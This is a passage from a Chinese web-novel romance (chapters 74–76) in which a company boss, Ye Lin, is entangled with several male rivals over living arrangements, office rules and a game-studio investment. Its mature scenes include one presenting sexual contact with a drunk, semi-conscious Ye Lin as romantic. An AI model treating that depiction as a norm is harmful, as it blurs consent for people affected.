要是关系不好,会影响到公司的发展,必须想办法平衡。 叶临等他们两个人坐下来,拿起酒倒了三杯,举起杯子要碰:“庆祝一下,梵星走向新阶段!” 沈邵配合地碰杯,楚诏也只能举杯子。 叶临喝了一口酒,就开始发表大哥的重要演讲:“楚诏,你是我们公司不可多得的技术人才,以后好好为公司效力,钱肯定少不了你。 沈邵是公司的大功臣,陪着它从老破小到现在的高级写字楼,付出了很多。你们两个人对于我来说都很重要,要好好相处,别内讧。” 他说的语气很官方,冠冕堂皇地概括了三个人的关系。完全略过彼此的感情纠葛,不顾楚诏和沈邵的感受,只在意公司的利益。 楚诏为了爱情才加入梵星,对金钱名利没兴趣,听到这话心里难受,胃口都没了。 沈邵跟他相反,最初是为了利益,后面才逐渐动心,听到这句话,心情变得复杂。 叶临见他们愁眉苦脸,都不说话,拍拍桌质问:“你们怎么回事,垂头丧气的,公司发展得正好呢,又不是要倒闭。” 楚诏:“我和沈邵对于你来说,同样重要吗?” 叶临:“那是当然!” 楚诏喝了一口酒,下了某种决心:“那我最近没有地方住,可以来你这里吗?” 沈邵放下酒杯:“你没有地方住,我可以给你安排好房子,没必要来这里。” 楚诏看向叶临:“你看,他根本不想跟我做朋友,我只是想过来借住一段时间都不给。 那我们在公司也做不了同事,后面可能会发生矛盾,到时候你怎么办?” 沈邵神色淡然:“你放心,我绝对不会跟你起矛盾。” 在叶临眼里,大家都是生意伙伴,应该和平共处。 现在楚诏主动示好,就应该接纳,而不是排斥。 再说了,他的房子有宽敞,不缺楚诏的住处。 叶临:“那行,你先来这里住吧,离公司近,你也好去工作。” 沈邵终于绷不住,立即反驳:“不行,楚诏不能住进来!” 楚诏的语气轻飘飘,却又有千斤顶的力量,足以压垮他:“这是叶临买的房子,选择权在他。看你说的,把这里当成自己的房子一样,不觉得过分了吗?” 叶临想到自己花出去的1.2亿,还是要有身为房主的威严:“就是,这是我买的房子,我就让楚诏住,没得商量。” 沈邵猝不及防被反将一军,自知不能再惹怒叶临,只能同意:“当然是你说了算,我没什么意见。” 由此,楚诏正式入住豪华大平层。 哪怕他不想跟情敌同住一个屋檐下,不想每天勾心斗角,可是为了能见到叶临,只能勉强自己加入这场战争。 叶临继续主持饭局,还频繁给他们两个人倒酒,谈起三人共创梵星的美好未来,沉浸在圣明老大的幻想中。 他哪里想到,楚诏住进来,会发生很多难办的事。 第75章 第75章“顾嘉致你个臭不要脸的”…… 楚诏住进来后,挑选了紧邻着主卧的房间,在里面摆放了很多游戏模型,吸引叶临的兴趣。 到了晚上,他就会叫叶临进自己的房间,讨论游戏模型,趁机留叶临在这里休息。 可是沈邵又会闯进来,跟他争抢叶临的留宿权。 往往这个时候为了避免争吵,叶临就会回自己的房间睡觉,反锁房门,不去任何一个人的房间。 然而长此以往,也不是个办法,沈邵和楚诏都会闹脾气。 比如说,早上醒来的时候,沈邵故意不做楚诏的饭。 而楚诏会故意将沈邵的衣服丢掉,美名其曰清理垃圾。 他们会想尽各种方法折磨对方,甚至影响到彼此的工作进度。 叶临愁得头大。 梵星至少还要靠这两个人经营十年,再这样下去,肯定半路就垮台了。 正是午后,江水在灿烂阳光的照耀下,像是铺满了钻石,每一道波纹都闪烁着细碎而迷人的光芒。 江边的建筑都笼罩在金色的光影,整个世界如梦似幻。 叶临坐在沙发上喝饮料,看着不远处的厨房。 沈邵好几天没去上班了,正在厨房里做下午茶,甜腻的香味飘出来。 叶临想了想,还是走进厨房,要劝劝沈邵,知道自己的职责所在。 结果刚进去,就看到盘子上装满了他爱吃的食物,又忍不住拿起来尝。 尝到这种美妙的滋味,又会觉得沈邵呆在家里做饭还挺好的。 沈邵看见他的嘴角粘了糖,凑过去吃。 脸颊被手按住,后腰一热,紧接着就快站不住。 叶临像是溺进温泉水里,怎么都逃不掉,只能越陷越深。 滴滴—— 是门开的声音,紧接着就是脚步声。 叶临的余光注意到门口的楚诏,瞳孔微微瞪大,没想到他会突然回来。 楚诏对上了沈邵挑衅的眼神,抓住叶临的手用力往自己怀里拉。 叶临怀疑自己快摔地上,又被抱紧。 很快就感觉到疼意,嘴唇破皮,溢出了血。 沈邵也靠过来,浑身都散发着幽怨的气息,像沼泽里的死鬼,又要再次缠上。 叶临意识到不能再让这两个人敌对下去,连忙推开楚诏,后退几步,抬手擦嘴。 楚诏和沈邵一前一后站着,都盯着他看,像是黑白无常要来把他这个活人拷走。 叶临做出停止的手势:“你们能不能正常点,好好工作!” 楚诏指着沈邵的眉心骂:“是他先不正常,提前下班回家,背着我跟你亲热,心思险恶!” 沈邵回讽;“我是管理层,下班自然比你这个技术员早。” 话说到这个份上,已经牵扯到公司的职位不对等,福利不对等,马上又要爆发一场大战。 叶临无奈地叹气:“梵星才开始好起来,不能因为你们两个内讧,走下坡路。” 楚诏和沈邵又开始互相推卸责任,指责对方工作上的不认真。 叶临就跑去书房,找出纸和笔,写了条例,要求他们遵守。 第一条,员工之间不能打架,更不能恶整对方,要保持关系和睦。 第二条,员工们要一起上下班,不能提前回来,必须等对方,才能一起回家。 第三条,在一周里,老板有四天会自行挑选留宿房间,其余三天老板回主卧一个人休息,不得有异议。 只要违反以上任何条例三次,就会被逐出去。 沈邵和楚诏都是他的下属,在他的公司里上班,住在这里,相当于是享受公司的福利,就需要遵守公司的规定。 如果不遵守规定,那就无权享受公司的福利。 写完三条规定,叶临就把这张纸递给他们两个人,要求按手印,表明自己的决心。 楚诏看完规定,当然不会愿意按手印,还想提出自己的不满。 可沈邵立刻按下手印,阿谀奉承:“叶临的规定,我肯定会遵守。” 叶临满意点点头,看向楚诏:“你看看沈邵,不愧是干管理的,觉悟就是高。” 楚诏看出沈邵心有不满,可是为了讨好叶临只能压抑住自己的想法。 真是会装啊,该死! 没办法,在公司上班就是这样,面对老板不合理的规定,只要有一个人答应,其余都会被迫答应。 楚诏无奈地按下手印,心情惆怅。 叶临把条例粘贴在门上,保证他们回来就能看见,而且必须遵守,才能长居此地。 有了这个条例,楚诏和沈邵之间总算维持了微妙的平衡。 虽然他们私底下互相仇恨对方,可见到对方又要演戏,故作兄弟情深,维持虚假的和睦同事关系。 比如沈邵做饭的时候,楚诏就会进厨房帮忙,也要做出贤惠的模样给叶临看。 这个时候,叶临就会夸奖楚诏几句,这样楚诏才会继续帮沈邵分担做饭,减少沈邵呆在厨房的时间。 而沈邵也会继续钻研厨艺,力求做出更好的食物钓住叶临的胃口。 有了竞争,就会有进步,他们的厨艺都跟着上涨,家务能力也得到提升。 他们在公司上班,会内卷,付出更多的精力,力求为公司增加更多的利益。 叶临在这个过程中,领悟了所谓的帝王权术。 这才明白,为什么影视剧里的很多帝王,明知道奸臣和忠臣的区别,却还是不听忠臣的劝告,经常靠近奸臣。 帝王不是要做到最好,而是要懂得权衡。 只器重忠臣,就会养出一个自负的权臣。有个奸臣牵制忠臣,才能避免忠臣膨胀。反之,奸臣也是这个道理。 只要让把矛盾转移到忠臣和奸臣之间,他们为了获胜就会拼命地效忠皇帝,以求从皇帝这里获得助力。 皇帝只需要偶尔扶持这个,偶尔打压那个,保证双方实力均衡,就能高枕无忧。 到了晚上,叶临算算时间,这一周里都在夸赞楚诏,沈邵备受冷落,肯定心情不好,于是朝着沈邵的房间走去。 沈邵正在整理衣服,想到白天叶临说他小气,总是讥讽楚诏,心情烦躁。 本来一切尽在他的掌握之中,买房同居,很快就要步入婚姻阶段。结果楚诏搬进来,叶临就完全变了。 “沈邵,你在看衣服啊。” 虽然这一周里对叶临有怨气,但是听到他的声音,还是会抬头去看。 叶临走到沈邵跟前,抬手去摸衣服的材质:“这是好久之前我买给你的了,居然还留着。” 沈邵语气低落:“你买的所有东西,我都收着的。只不过有很多都被楚诏扔了。” 叶临:“有这事?” 沈邵把楚诏的恶行一五一十地告诉他,抱怨自己委曲求全,受了很多苦。 “当初,我是看在你的份上,才加入梵星。” “唉,你受苦了。” 叶临叹息一声,表示这周又会带沈邵去逛商场,买东西补偿他。 沈邵搂住他的腰,以一种极其依恋的姿态,埋首颈窝深嗅:“我不需要你为我花钱,只需要你多陪陪我。” 叶临回想这么多男人,确实是沈邵最省心,冷落一周确实过分,顿感愧疚。 这时楚诏出现在门口,看到沈邵的戏精样,恨不得冲上去暴打一顿,可看到叶临还是缓和语气:“叶临,你不是要看看新装备嘛,今晚来我房间,我跟你说清楚。” 沈邵暗骂楚诏无耻,又故作可怜:“我这几天都是一个人,睡不好。” 叶临听出他的话意,而且他捧了楚诏很多天,也该打压,于是挥手拒绝:“不去了,我今天晚上就留在沈邵这里。” 沈邵的精气神瞬间好了,松开叶临,朝着门口走过去,眼神得意,慢慢地关上门,透过门缝说道:“你快走吧,我们要休息了。” 楚诏很想冲进去打死沈邵,可是他要遵守员工条例,这周有四天供叶临自由选择,身为员工不能干涉。 一旦违反条例,叶临不狠心,沈邵都会抓住这个错处,将他赶出去。 算了,明天再另外想办法。 楚诏回到房间,给叶临的手机发消息。 可是没有得到回复。 叶临的手机屏幕不断地亮起,但被沈邵放在床头柜的边缘,很难够到。 沈邵扣住叶临的十指,用一种无法抗拒的姿态,强势地侵袭。 或许是压抑久了,好不容易找到机会就会肆意地爆发。 海面上掀起了千层的巨浪,小船摇晃不止,很快就被淹没,沉到海底。 海底是温暖潮湿的,像是进入了某个奇异的世界,到处都是海草,很容易被缠住,难以逃脱。 叶临感觉自己快要溺死了,呼吸不匀,眼睛里都有了湿意,忍不住骂:“沈邵,你疯了!” 房间里只有一盏小夜灯,光线昏暗,家具都只展现出模糊的轮廓。 沈邵的半张脸隐没在黑暗之中,看起来像是某种深海生物:“你这几天总是给跟楚诏待在一起,你说我什么心情?” 叶临偏过头不看他的眼神,就能忽视掉自己的错处:“那他是梵星的员工,我身为老板,肯定要关心。” 沈邵将他紧紧地抱住,靠着肩膀,低声要求:“你以后也要多关心关心我。” 叶临又感觉到沈邵变得易碎,只好附和一声“好”。 可是刚应完,就后悔了。 事情持续到后半夜才结束,几乎是昏过去,再无任何知觉。 楚诏能够隐约听见他们的声音,连夜整理了沈邵在工作上的罪证,全部发给叶临。 到了第二天中午,叶临才有机会拿到手机。 结果看到楚诏发来好几个表格,上面有很多数据,看不懂。 楚诏在表格后面总结沈邵的错误,大致就是沈邵放任公司投资几个亏损的游戏,有转移资产的嫌疑。 叶临打电话询问公司的财务,问表格上的几个游戏项目,确实是亏损的状态。 他清楚沈邵的为人,能省则省,不可能放任几个亏损的游戏项目不管。 难道是忘记了? 叶临正疑惑着,就看到沈邵端着午饭走进来,于是问起游戏的事情。 沈邵听完,脸色沉重:“是楚诏跟你告状的吧。” 叶临知道楚诏这个行为已经违反条例,可他在意亏损,只好略过:“那游戏亏损是事实。” 沈邵:“这几个游戏是顾柘还在公司的时候投资的,签订了半年的合同,短时间内无法终止合同。” 沈邵拿出笔记本,调出合同,标红有关时间的关键字眼给叶临看,证明不是自己的意愿。 叶临总算想起来,之前他让顾柘投资游戏,刻意叮嘱了要谨慎,结果这小子没听,仗着有钱尽瞎投。 现在顾柘的钱撤走了,梵星还得继续履行合同养着这几个破游戏,到时间全卖了。 不过游戏确实是个风口,原著里就是靠着游戏赚了很多钱,必须提前布置。 记得有个游戏工作室挺牛的,好像是叫什么“金晶”,未来会做出一款国民级的爆款游戏。 叶临要求沈邵去查金晶工作室的资料,调出所有的人员信息和基本的发展历程。 沈邵的人脉广,很快就找出来:“这家游戏工作室花了七十万做过一款单机小游戏,在各大应用商城赚到了十倍的利润。今年想做个大制作,很缺钱,正在找人投资。” 叶临看完所有的人员信息,指着创始人罗房:“就是这个工作室,公司里还有钱吗,就投它。” 沈邵不理解:“他们的方案我朋友看过,是打算做moba类的游戏,是长线投资,风险评估挺高的。” 叶临手握剧本,非常自信地拍胸脯:“没事,我看好它,就像当初看好梵星一样。刚好梵星主攻互联网已经有所成就,这个金晶可以借助梵星的平台腾飞。” 沈邵犹豫一会儿,还是选择相信叶临,着手联系金晶的创始人。 然而这件事,并不顺利。 在叶临之前,金晶的创始人已经跟别人达成协议,打算过几天就签合同。 沈邵跟金晶谈过高价,对方就是犟种,非要遵守约定,讲究先来后到。 叶临听说这件事后,断定沈邵的应酬能力不行,打算亲自出马,要沈邵跟对方约时间和地点见面。 楚诏因为这件事嘲笑了沈邵好几回,还想陪叶临去说服对方,可是梵星服务器被人攻击,只能留在公司帮忙。 约定的地点是在一处高档的餐厅包间,灯光如溪流般倾洒而下,将这里映照得温馨柔和。 实木桌面散发着温润的光泽,中心摆放着一簇白色玫瑰花,散发着淡淡的香味。 罗房临时有事,会晚十分钟才到包间。 叶临先来,只能玩手机等待。 老实说,罗房只是个小小游戏工作室的创始人,迟到摆谱,已经足够让叶临生气。 要不是考虑到,这个工作室后面能够产出过亿的流水,才懒得等。 叶临拿出手机就想给楚诏发消息骂罗房,结果听到门被推开。 只见西装革履的顾嘉致走进来,要不是光洁的额头,都怀疑他是顾柘本人。 时隔多日看到顾嘉致,心里还是会膈应。 叶临怀疑自己进错包间,立即站起来想离开。 顾嘉致及时抓着他的手:“罗房今天不会来了,他已经跟我签了合同。” 叶临听到这句话瞬间就炸了,也不管自己跟顾嘉致有什么感情就纠葛。 到手的生意被人抢走,那就是天王老子来了,都得扒一层皮。 叶临用力推了顾嘉致的胸膛,怒骂:“顾嘉致你个臭不要脸的,居然抢我的生意!” 顾嘉致看到他像个炸毛的猫,无奈地摊开手:“是我们的生意,别这么生气。” 叶临听到他的语气轻飘飘的,完全没意识到自己犯了大忌,疯狂出拳去打。 顾嘉致眼疾手快将他抱住,牢牢地禁锢在怀里:“你先别生气,听我说完。” 叶临踩了他一脚,用力戳心口的位置:“最好解释清楚,不然我弄死你!商场如战场,可没有什么朋友情谊,谁跟我作对,我都不会让他好过!” 顾嘉致听着他的发言,无奈摇头:“不就是个小小的游戏工作室,至于吗?” 叶临又踩了几脚:“你个草包懂什么,这个工作室对于我来说很重要的!” 顾嘉致拉开椅子,让他赶紧坐下来。 紧接着就有服务员端着饭菜进来,还有蜡烛,俨然是约会才有的浪漫晚饭。 叶临负气抱手,没有在意餐桌上的饭菜,只在意顾嘉致口中的解释。 顾嘉致边倒酒边说:“其实那天你离开后,我就想清楚了。你把我当成亲兄弟对待,我应该感恩戴德,而不是为难你。” 叶临伸长腿踹了他的凳子:“你知道就好,快把这笔生意还给我!” 也是没办法了,顾嘉致只能暂时接受“好朋友”这个称呼。 至少叶临把他当成朋友看待的时候,对他有应必求,沈邵根本没法跟他比。 顾嘉致把顾柘的股权转移合同交给他看:“你先别着急,顾柘之前不是要了梵星的原始股,我全拿回来了,你以后不用担心他插手梵星的事了。” 叶临看不懂这些文件,全拍照发给公司的专业人员确认。 对方告诉他,顾柘确实把原始股转移给顾嘉致,现在公司要对顾嘉致负责。 之前还担心顾柘病好后,用梵星的原始股兴风作浪,现在可以安心了。 顾嘉致总比顾柘好办。 叶临焦躁的神色有所缓解,把合同推回去:“这个跟金晶有什么关系?” 顾嘉致得意地挑眉:“顾柘重病住院,他手上的资源和人脉都被我掌握了。我知道你想要金晶,就提前帮你谈下来,给你当做道歉礼。” 叶临的脑子转过来了,顾嘉致有意求和,微微昂起头:“可是我们已经绝交了,我不认你这个朋友。” 顾嘉致知道叶临没有走,就是给他机会,于是采纳顾柘的建议,开始打感情牌:“我永远记得那一天,顾柘用钱收买你。但是你拒绝了,还鼓励我离开顾家,建设自己的事业,才能受人敬仰。 后面我来到梵星,在销售部待了一段时间,很辛苦,但也有成就感。你说梵星以后会上市,价值万亿。我是信的,因为你是我兄弟。 我现在很后悔,当初在海岛辜负你的心意。我回去后想了想,是我误会了,我们之间不是爱情,而是超越友谊的亲情。” 毕竟是初中辍学混社会,然后跑去电子厂打螺丝的小混混。只要听到事业和理想,以及兄弟情就会激发被动,唤醒热血。 往昔峥嵘岁月最为动人,现场播放一首《兄弟》更能煽情。 叶临想到梵星创业最苦的时候,他在梁文乐那里当孙子,而顾嘉致在客户面前喝酒通宵的,都很不容易。 严格意义上,顾嘉致是梵星的创始人之一,理应享受成果。 顾嘉致拿起酒杯冲叶临敬酒,猛地喝下去:“都说人生难得一知己,你比亲爸亲妈对我还要好。 我总是想,如果我亲哥不是顾柘那种混蛋,而是你。我们感情应该会很好,互相扶持,陪伴彼此。” 叶临终于被他说动,拿起酒来喝:“对啊,要是我亲弟是你,我也不会变成这样。” 他嫉妒一出生就生活在父母身边的弟弟,而且弟弟后面还考上名校,迎娶白富美,过上了好日子。 而他从小就当留守儿童,没人管束,才沦落到电子厂。 就是因为他跟顾嘉致都是不被父母偏爱的孩子,所以才能惺惺相惜。 顾嘉致对他的发言感到迷惑,但气氛都到位了,赶紧跟叶临碰杯。 “我其实想回到梵星,重新跟你做朋友,你愿意接纳我吗?” “顾嘉致,我那天是真恨你。居然用爱这个词玷污我们的友谊,真该死!”叶临喝了一口酒,脸颊泛红,吐出酒气。 “是,我该死。”顾嘉致说完,心里酸溜溜的,在酒精的作用下很想哭。他为了挽回叶临,只能亲口否认自己的爱意,再次将爱深埋,比之前更痛苦。 “不过我现在想想,算了,朋友之间计较那么多做什么,欢迎你回来!” 叶临亲手给他倒酒,让沉重的氛围变得轻松,谈起他们以前在梵星的趣事。 两个人有一搭没一搭地聊着,很快就喝醉。 已经到了晚上十点多,叶临喝得脸颊通红,趴在酒桌上。 旁边的手机屏幕一直响起来电铃声,或是沈邵,或是楚诏。 顾嘉致以前练就了好酒量,几杯下去还没醉,将叶临抱起来问:“今天去我那里休息吧。” 叶临迷迷糊糊地答应,而他的手机早就被顾嘉致关机,放兜里。 第76章 第76章三个男人一台戏 叶临意识不清,迷迷糊糊中感觉到有人在亲自己,于是抬手去应和,嘴里还嘟囔着。 “沈邵,你怎么又来,每天晚上都这样” 顾嘉致听到他的话,就明白这段时间沈邵没少跟他亲热,气得用力。 叶临很快就感觉到疼意,恢复意识,看见眼前的顾嘉致板着脸,似乎很不高兴。 他抬手撑住顾嘉致的嘴角,强行往上提,好心建议:“你怎么回事,板着脸很丑哎,像顾柘一样讨厌。” 顾嘉致把他拽进怀里亲,埋首凑到耳侧低声问:“我和沈邵,谁重要?” 叶临刚跟好哥们恢复友谊,当然要说好话,笑起来:“你最重要,谁都没有你重要。” 顾嘉致总算满意,又想到以前的旧事,继续盘问:“之前有段时间我不在,你饥饿值满了,说是花钱找男模,其实是去找沈邵吧。” 叶临酒后坦诚,点点头:“对啊,你不在,刚好沈邵要跟我组建梵星,我就找他了。我觉得吧,大家都是一条线上的蚂蚱,找他比较安全。” 顾嘉致想到最初自己看到沈邵胃疼可怜,还开车带他去自家的医院治疗,甚至因此跟叶临吵架,后面更是成为了朋友。 这一桩桩一件件都在昭示着他的可笑。 心中已经对沈邵勾搭上叶临的事情有了猜想,可还是有个地方需要验证。 顾嘉致:“那天我打电话过去,我以为你在跟梁文乐亲热,其实是沈邵对不对?” 叶临:“应该吧,我跟梁文乐亲热,从不敢接电话,怕他怀疑。” 果然是这样,那天沈邵借着电话向他示威,暗地里偷偷得意。 他们当初同在梵星工作,一个对外拉投资,一个对内管理,协同合作,让小小的公司运转如飞。 曾经,他真把沈邵当成朋友看待,打心底认可沈邵的能力。 叶临当时还很讨厌沈邵,屡次三番因为这件事跟他吵架。 顾嘉致有种成为笑话的凄苦感,愤怒且无力。 他当然能怪沈邵,憎恶沈邵的虚伪下作,可是他自己没有问题吗? 明明最开始叶临是讨厌沈邵的,他居然没有察觉。 如果他早点发现沈邵的真面目,是不是就能够阻止现在这种局面发生? 如果他早点认清自己的想法,是不是就能独占叶临? 可惜人生只能朝前看,不能回头。 既然已经错过最好的时机,那现在就要抓紧机会。 顾嘉致搂紧叶临,低声问:“那你以前很讨厌沈邵,怎么现在又愿意跟他同居,谈恋爱?” 叶临眼神迷离:“谁跟他谈恋爱同居了,他是我的员工,住在我家里。 你在瞎想什么,我以前跟梁文乐谈恋爱,那是没钱迫不得已,现在有钱就不需要委屈自己。” 顾嘉致又看到了希冀,拿出他的手机,询问密码。 叶临害怕伴侣查手机,但对兄弟不设防,痛快地告诉他密码。 顾嘉致滑动通讯录,发现自己的电话被备注成“兄弟”,其余人全都是名字,其实也算是独一无二。 他搜索出沈邵的名字打过去,再放在旁边。 叶临注意到手机屏幕在跳动,想去问他打给谁,结果就被堵住嘴唇。 是温柔,热烈的。 像是被云朵包裹住,又像是坠入海水之中,被强大的暗流缠住,难以行动。 顾嘉致禁锢着他,没让他有任何机会躲闪,只想满足自己的相思苦。 电话被接通的瞬间,沈邵就听到了熟悉的声音。 “叶临,你在哪里?” “唔” 叶临听到有人叫自己,想回答,却没有机会,只能哼唧几声。 顾嘉致故意做出别的举动,让这块蛋糕上的奶油彻底融化,变成一摊粘。腻的水。 隔着手机,都能清晰地感知到他们之间暧昧的氛围,以及各种声音。 沈邵不是傻子,很快就意识到叶临正在面临着什么。 倘若叶临今天去会所点了男人,那这通电话就不会打通。 能够让叶临在这种时候打通电话的,应该是叶临非常信任的人。 顾嘉致! 这世上只有顾嘉致会这样报复他。 沈邵握紧手机,恨意就快要将理智淹没。 “顾嘉致,你放开他!” 电话里传来顾嘉致的轻笑,他抱着叶临,声音低哑,故意强调事实。 “我可没有逼他,是他自己心甘情愿。” “你!” 顾嘉致一想到当初自己的痛苦,就想百倍千倍地还回去。 他故意把手机转移到叶临的视野盲区,重复刚刚的问题:“叶临,我和沈邵,谁在你心里更重要?” 叶临被亲得晕乎乎的,舒服得快要睡过去。 听到顾嘉致的话,粘粘糊糊地埋怨:“你怎么又问啊,早说了,无论跟谁比,都是你最重要。” 顾嘉致脸上的笑意更深,奖励式亲吻:“我听说你跟沈邵住在一起,还以为你喜欢他,不要我了。” 叶临被反复询问,其实是烦躁的,可他像是撸顺毛的小猫,还是愿意说好话:“我不喜欢,我们之间就是生意伙伴的关系。你放心,天塌下来都是你最重要,我干不出重色” 后面的话,顾嘉致不想听,阻止他继续说下去,还顺便挂断电话,将叶临抱起来,朝着卧室走去。 电话挂断后有段杂音,像是从异世界里传出来,沈邵久久不能回神。 等到他意识到电话已经挂断,冷风从窗户外面涌进来,吹在身上像是被刀子刮。 窗边还放着叶临的领带和西装,他总是这样,喜欢在房子里乱扔东西,需要沈邵帮忙收拾整理。 沈邵走过去,把西装和领带收进衣柜里,盯着他们两个人的衣服,没由来的有了一种空虚感。 像是进入了毫无生机的黑暗空间里,没有光芒,更没有活物,茫茫天地间只有他一个人。 时间静止,万籁俱寂,空气不再流动,到处都弥漫着死亡的气息。 原来那天顾嘉致是这种心情,愤怒痛苦,憎恶失望。 最初沈邵没有投入真心,只是把跟叶临的感情纠缠当成有趣的游戏。 可是他现在已经付出了所有,当然会被顾嘉致的行为搅乱心神。 他会埋怨叶临,明明他已经足够大度宽容,允许楚诏住进来,为什么还不满足? 为什么要夜不归宿,跑去找顾嘉致? 为什么要将他们之间这么长时间的感情纠缠,概括为简简单单的生意伙伴。 记得之前在商场撞见顾嘉致,他故意露出叶临买的表,是占据优势的胜利者*,可以得意洋洋的秀恩爱。 可是转瞬间,他就从高处掉下来,坠入漆黑谷底,满是污泥,失去已有的优势,成为可怜的失败者。 沈邵恨顾嘉致,更恨叶临。 恨叶临的三心二意,恨叶临的冷酷无情,恨叶临不能将他放在最重要的位置上。 可是恨了叶临,就能毫无牵挂地离开吗? 本来,他跟叶临纠缠的契机,就是因为梁文乐这个人。 他跟叶临的第一面太过匆匆,没能好好看清楚对方。 第二面是在赛车场,叶临已经变成梁文乐的男友。 后面的事情,自然就顺理成章。 他和叶临之间,本来就不是美好梦幻的爱情故事,是利益和欲念勾连不断。 沈邵很快就清醒过来:与其在这里埋怨,不如抓住自己的优势,将叶临吸引回来,阻止顾嘉致的计划。 其实他可以不在乎,不在乎叶临跟谁在一起,不在乎叶临心里将谁看得更重,只要能够陪在叶临身边就好。 毕竟叶临这种人,像是一阵自由的风,会路过山川平原,沙漠大海。没有人能抓住风,也没有人能独占叶临,只能不断地追逐。 黑夜像是一场漫长的梦,在晨光熹微间彻底消散,回归现实。 房间里的光线朦胧,照在地上的杂乱衣物上面。 衣柜里是顾嘉致和叶临以前的旧衣服,还摆在一起,昭示着他们的成绩。 顾嘉致搂着叶临,看着衣柜,心中生出无限感慨。 叶临还在熟睡中,脸颊被被子闷得微微泛红,呼吸很浅。 顾嘉致拿出叶临的手机,打开跟沈邵的聊天见面,给对方发消息。 【叶临心里没有你的位置,识相的就赶紧滚!】 【又不是他本人说,你在这里虚张声势做什么?】 【沈邵,你要不要脸!】 【顾嘉致,你整天做些偷鸡摸狗的事情,你要不要脸?】 沈邵的语气平静,完全没有因为昨天那通电话受到打击,反而莫名有种可以把控全局的自信。 顾嘉致看着反胃,赶紧删除好友,偏过头去看叶临。 叶临的头发乱糟糟的,看起来蓬松柔软,让人忍不住想亲。 顾嘉致低头去吻,又帮他整理头发,眼角眉梢有温柔的爱意倾泻,如同夜晚的月光。 清晨醒来,爱人在怀,这是多么幸福的瞬间。 叶临感觉痒,总算从睡梦中醒来,微微眯起眼睛去看顾嘉致,嘟囔着:“你干嘛?” 顾嘉致笑起来:“看你好笑呗。” 叶临的困意全无,抬手去打,嘴里骂骂咧咧的:“好你个顾嘉致,吵我睡觉就算了,还敢取笑我!” 顾嘉致抬手去挡住,跟他打打闹闹。 房间吵吵嚷嚷,还有飞舞的枕头,他们玩了一会儿才去洗漱吃早餐。 仿佛又回到一年前,他们刚刚相识的时候。 可有很多事情都改变了。 叶临吃早餐的时候,就想到沈邵的手艺,忍不住跟顾嘉致夸赞,还建议他去自己家吃沈邵做的饭菜。 在他的口中,他买了个豪宅,里面住着沈邵和楚诏,都很勤快,会包揽家务活,更会帮他工作,创造出高收益。 顾嘉致不爱听这些,转移话题到了梵星的市场部。 提起市场部,虽然也有几个厉害的人才,可是随之梵星的生意逐渐扩大,人手也不够用。 而且就金晶这件事情,沈邵没有办好,叶临就不相信他对外签订合同的能力。 叶临叹息一声:“要说在酒桌上谈生意,沈邵还是比不过你。” 顾嘉致笑起来:“看出来了,你吩咐的金晶,他压根没放在心上,光是约人吃饭都不积极,更不可能坐飞机出市,就知道呆在梵星。 要是我的话,第一时间就会买票飞去金晶的工作室,软的不行就来硬,反正必须签下。” 叶临很佩服顾嘉致这种坚持不懈,愿意屈尊降贵的生意态度,由衷地夸赞他。 顾嘉致提出想回到梵星的市场部,立即得到他的同意。 两天后,梵星的市场部就迎来了新组长。 新员工还以为又来了个“顾总”,聚在茶水间讨论。有些人打听到这个新来的组长还跟之前的顾总是双胞胎兄弟,估计性格不好。 刘闻是资质最深的那批员工,听到后辈们担心顾嘉致的性格不好,还跟他们解释。 “放心好了,顾嘉致跟他哥不一样,为人随和,很好说话的。” “是吗,刘组长你怎么知道?” “梵星建立之初,顾嘉致就在市场部了,很多单子都是他谈下来的。后面他出车祸就暂时离开,现在回来挺好的。” “那么久远啊,那他跟叶总的感情很好吧?” “那是当然了,他跟叶总和沈总是铁哥们,那个时候他们还请我吃烧烤喝酒,关系很好。” “叶总和沈总的性格都很好,那应该是个好说话的,市场部有福了。” 刘闻跟后辈们解释完,感觉到时光的流逝和梵星的发展,长叹一口气感慨过去奋斗的自己。 大家正在热烈的讨论,还有人在争论顾嘉致和顾柘的关系,以及他们两个人跟叶临的亲疏之别。 这时,一个女同事急匆匆地跑进来,嘴里喊着:“不好了不好了,楚诏好像跟新来的顾组长打起来了,沈总的脸色也不好看。” 刘闻放下手里的杯子,追问详细情况。 女同事告诉他,好像是楚诏不接受顾嘉致,沈邵还在旁边帮腔,场面一度僵持,非常尴尬。 有人就问:“哎,刘组长,你刚刚不是说沈总跟新来的顾组长关系很铁吗,怎么回事?” 刘闻也不知道原因,连忙跑出茶水间,要去办公室了解清楚。 办公室里有四个人,叶临和顾嘉致站在门口的位置,而沈邵和楚诏站在对面。 他们的表情难看,周围的气压很低,俨然有场大战要爆发。 其余人都不敢靠近,只能远远地看戏,小声讨论。 刘闻是公司老人,就敢闯进去,走到叶临跟前问情况。 叶临剜了楚诏一眼,看向旁边的刘闻:“你怎么进来了,其实没啥事。” 刘闻看见楚诏眼里对顾嘉致敌意,瞬间就明白,连忙说话打圆场:“大家都是一个公司,别生气了,出去喝喝酒。” 楚诏看向暗自得意的顾嘉致,冷冷道:“我跟这种没有本事的二世祖,可不是一个公司的。” 沈邵假笑着,帮他说话:“楚诏是天才,掌握着公司的核心技术,顾嘉致只是个大学生,他不服气很正常。” 叶临白了他一眼:“沈邵,以前你老是挤兑楚诏,怎么今天又帮他说好话了?” 沈邵无奈地摊手:“我之前对楚诏有偏见,但是跟他共事一段时间,发现他精明能干,由衷地佩服他。” 楚诏想到这三天叶临都在顾嘉致的公寓里,心里不痛快,就跟沈邵暂时停战,一致对外:“虽然沈邵也是富二代,但他早早就参与了公司管理,经验老道。 他管着梵星,我没意见,可是顾嘉致这种没能力的,想都不要想。” 顾嘉致往前站了一步,阴阳怪气起来:“哦,我没能力?梵星创立之初我就在了,如果没有我拉到单子,梵星就不会有今天,你也不会在梵星研发部工作。楚诏,做人不要骄傲自满,要有自知之明。” 叶临帮腔:“就是,顾嘉致最开始陪我创业的时候,你还不知道在哪里呢!还有你沈邵,当时顾嘉致帮了你多少忙,你现在居然不接纳他,过分了吧!” 沈邵脸色微变,充当理中客:“我当然接受顾嘉致进公司,但是也得照顾其他人的心情。楚诏不同意,这件事就得从长计议,不能操之过急。” 刘闻听出来了,沈邵和楚诏都不希望顾嘉致回到梵星,仗着自己是公司老人在向叶临施压,连忙劝道:“好了好了,你们都是叶临看重的人,没必要吵架。 嘉致回来就回来嘛,又不是回研发部,是市场部,楚诏,你就别有意见了。” 楚诏瞪了刘闻一眼,大步朝着门外走去,撂下一句话:“如果梵星只能容纳你和顾嘉致这种平庸的人,绝对走不远!” 